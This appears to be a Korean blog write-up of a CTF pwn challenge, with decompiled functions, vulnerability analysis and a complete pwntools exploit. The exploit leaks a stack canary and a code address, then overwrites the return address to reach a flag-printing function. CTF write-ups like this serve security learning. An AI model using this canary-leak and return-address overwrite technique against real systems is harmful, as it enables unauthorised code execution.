728x90
반응형
1. intro
2. code 및 분석
2.1. code
2.1.1. main
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
puts("Hi! I am the Stack Oracle.\n");
while ( 1 )
gimme_pointer("Hi! I am the Stack Oracle.\n", argv);
}
2.1.2. gimme_pointer
unsigned __int64 gimme_pointer()
{
const void *v1; // [rsp+8h] [rbp-28h] BYREF
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("You are here: %p\n Give me an address and I will grant you 8 leaked bytes:\n", buf);
read(0, buf, 0x40uLL);
hex_string_to_byte_array(buf, &v1, 16LL);
printf("Here are the contents of %p:\n", v1);
print_buf(v1, 8LL);
return __readfsqword(0x28u) ^ v3;
}
2.1.3. hex_string_to_byte_array
__int64 __fastcall hex_string_to_byte_array(__int64 a1, __int64 a2, int a3)
{
__int64 result; // rax
int v5; // [rsp+28h] [rbp-8h]
unsigned int i; // [rsp+2Ch] [rbp-4h]
v5 = 0;
for ( i = 0; ; i += 2 )
{
result = i;
if ( i >= a3 )
break;
__isoc99_sscanf(i + a1, "%2hhx", a2 + v5++);
}
return result;
}
2.1.4. print_buf
int __fastcall print_buf(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i < a2; ++i )
printf("%02X", *(i + a1));
return puts("\n");
}
2.1.5. this_function_literally_prints_the_flag
unsigned __int64 this_function_literally_prints_the_flag()
{
int fd; // [rsp+Ch] [rbp-54h]
char buf[72]; // [rsp+10h] [rbp-50h] BYREF
unsigned __int64 v3; // [rsp+58h] [rbp-8h]
v3 = __readfsqword(0x28u);
fd = open("flag.txt", 0);
read(fd, buf, 0x40uLL);
puts(buf);
close(fd);
return __readfsqword(0x28u) ^ v3;
}
2.2. 분석
메인은 별거 없다.
지속적으로 gimme_pointer 함수를 실행해준다.
gimme_pointer에서는 주소 하나를 던져주고
값을 0x40 bytes만큼 받은 다음,
byte array 함수를 통해 받은 값을 바꾼 다음
해당 주소의 값을 출력해준다.
3. 취약점 확인 및 공격 준비
3.1. 취약점
buffer overflow를 통한 ret address 변조가 가능하다.
3.2. 공격 준비
바이너리 실행 후 stack의 위치를 출력해주기 때문에 일단 leak을 위한 노력은 할 필요가 없다.
출력되는 값을 보았더니 값이 뒤집어져서 출력해준다.
또한 입력 받을 때도 뒤집어서 입력 받기 때문에 이를 위한 기능이 필요하며,
편의상 encode, decode라고 생각했다.
더불어 문제 파일은 보호기법이 죄다 걸려있었다.
Canary : ✓
NX : ✓
PIE : ✓
Fortify : ✘
RelRO : Full
처음에는 got overwrite를 생각했었는데,
그렇게 하면 너무 시간도 오래 걸릴 것 같은 생각이 들어서 혹시나해서 함수를 쭉 봤더니
역시나 플래그를 출력해주는 함수가 있었다.
다만, ASLR으로 인해 canary, libc address, code address가 필요했고,
값만 잘 넣어주면 모두 leak 할 수 있으니 문제 없었다.
또한 마지막 페이로드를 전송할 때에는 buf의 값 16 bytes만 변환하며,
변수의 크기가 24 bytes이기에
더미 24 + canary + sfp + flag 출력함수
와 같은 페이로드를 작성하였다.
4. exploit
와이프가 외출 준비하는 30분 동안에 후닥 짰는데, 지금 보니 개판이네 ㅋㅋㅋ
다시 하자니 귀찮.... ㅋ
from pwn import *
#p = process('./ez-pwn-2')
p = remote('pwn.bbctf.fluxus.co.in',4002)
def val_leak(val):
val = str(hex(val)[2:])
ret = b''
for i in range(len(val),0,-2):
ret += val[i-2:i]
return ret
def encode(val):
val = str(hex(val)[2:])
ret = ''
for i in range(len(val),0,-2):
ret += val[i-2:i]
return ret
def decode(val):
ret = b''
for i in range(len(val),0,-2):
ret += val[i-2:i]
return ret
p.recvuntil(b'here: ')
leak = int(p.recvuntil(b'\n')[2:-1],16)
#print(b'leak = ', hex(leak))
pay = encode(leak + 0x18)
p.sendlineafter(b'bytes:\n', pay)
p.recvuntil(b':\n')
canary = p.recvline()[:-1]
canary = int(decode(canary),16)
print(b'canary = ',hex(canary))
pay = encode(leak + 0x28)
p.sendlineafter(b'bytes:\n', pay)
p.recvuntil(b':\n')
main = p.recvline()[:-1]
flag = int(decode(main),16) - 0x12a
print(b'flag = ',hex(flag))
pay = b''
pay += b'\x00'*0x18 + p64(canary) + b'a'*8 + p64(flag)
pause()
p.sendlineafter(b'bytes:\n', pay)
p.interactive()
728x90
반응형
'CTF > Solved' 카테고리의 다른 글
LA CTF 2023 - pwn/bot (0) | 2023.02.13 |
---|---|
LA CTF 2023 - pwn/gatekeep (0) | 2023.02.13 |
BB CTF 2023 - Easy pwn (0) | 2023.02.06 |
DiceCTF 2023 - pwn/bop (0) | 2023.02.06 |
KnightCTF 2023 - KrackMe 1.0 (0) | 2023.01.23 |